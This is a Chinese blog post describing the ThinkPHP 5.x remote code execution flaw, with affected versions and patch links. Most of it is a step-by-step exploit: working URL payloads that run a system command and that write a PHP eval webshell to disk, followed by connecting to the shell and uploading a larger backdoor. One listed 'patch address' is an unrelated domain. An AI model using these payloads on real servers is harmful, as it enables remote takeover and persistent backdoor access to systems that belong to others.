• ThinkPHP远程代码执行漏洞


    ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架。

    Thinkphp5.x版本中存在一个严重的远程代码执行漏洞。这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令

    影响范围

    Thinkphp 5.1.0 - 5.1.31

    Thinkphp 5.0.5 - 5.0.23

    漏洞利用

    环境介绍:

    thinkphp5.0.22+php5.4.45+ apache2.4.23

    1.首先搭建好相应的环境,页面访问如下:


     

    2.当看到框架为thinkphp5.x时,我们需要的就是验证是否存在远程代码执行漏洞

    http:// localhost/public/index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir


     

    3.确认此处存在远程代码执行后,写入shell

    http:// localhost/public/index.php?s =index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php eval(@$_POST['a']); ?>


     

    4.尝试用菜刀进行连接,连接成功


     

    当然这里我们也可以选择直接上传大马


     

    相比手工,我们也可以选择工具直接getshell都是可以的


     

    修复建议

    1、打补丁:

    Thinkphp v5.0.x补丁地址:www.gendan5.com

    https://github.com/top-think/framework/commit/b797d7235

    2e6b4eb0e11b6bc2a2ef25907b7756f

    Thinkphp v5.1.x补丁地址: 

    https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126ab

    c5901b2815

    2、更新框架版本

  • 相关阅读:
    一卦,测一年运气
    测一下我心中想的事
    一卦,测一下我心里想的事
    这一卦,学到了不少东西
    癸山丁向下卦(七运)
    起卦测我心里想的事
    现在的卦,越来越看不懂了
    luogu P2759 奇怪的函数 |二分答案
    luogu P2515 [HAOI2010]软件安装 |Tarjan+树上背包
    luogu P2343 宝石管理系统 |分块+堆
  • 原文地址:https://www.cnblogs.com/gendan5/p/11496231.html
Copyright © 2020-2023  润新知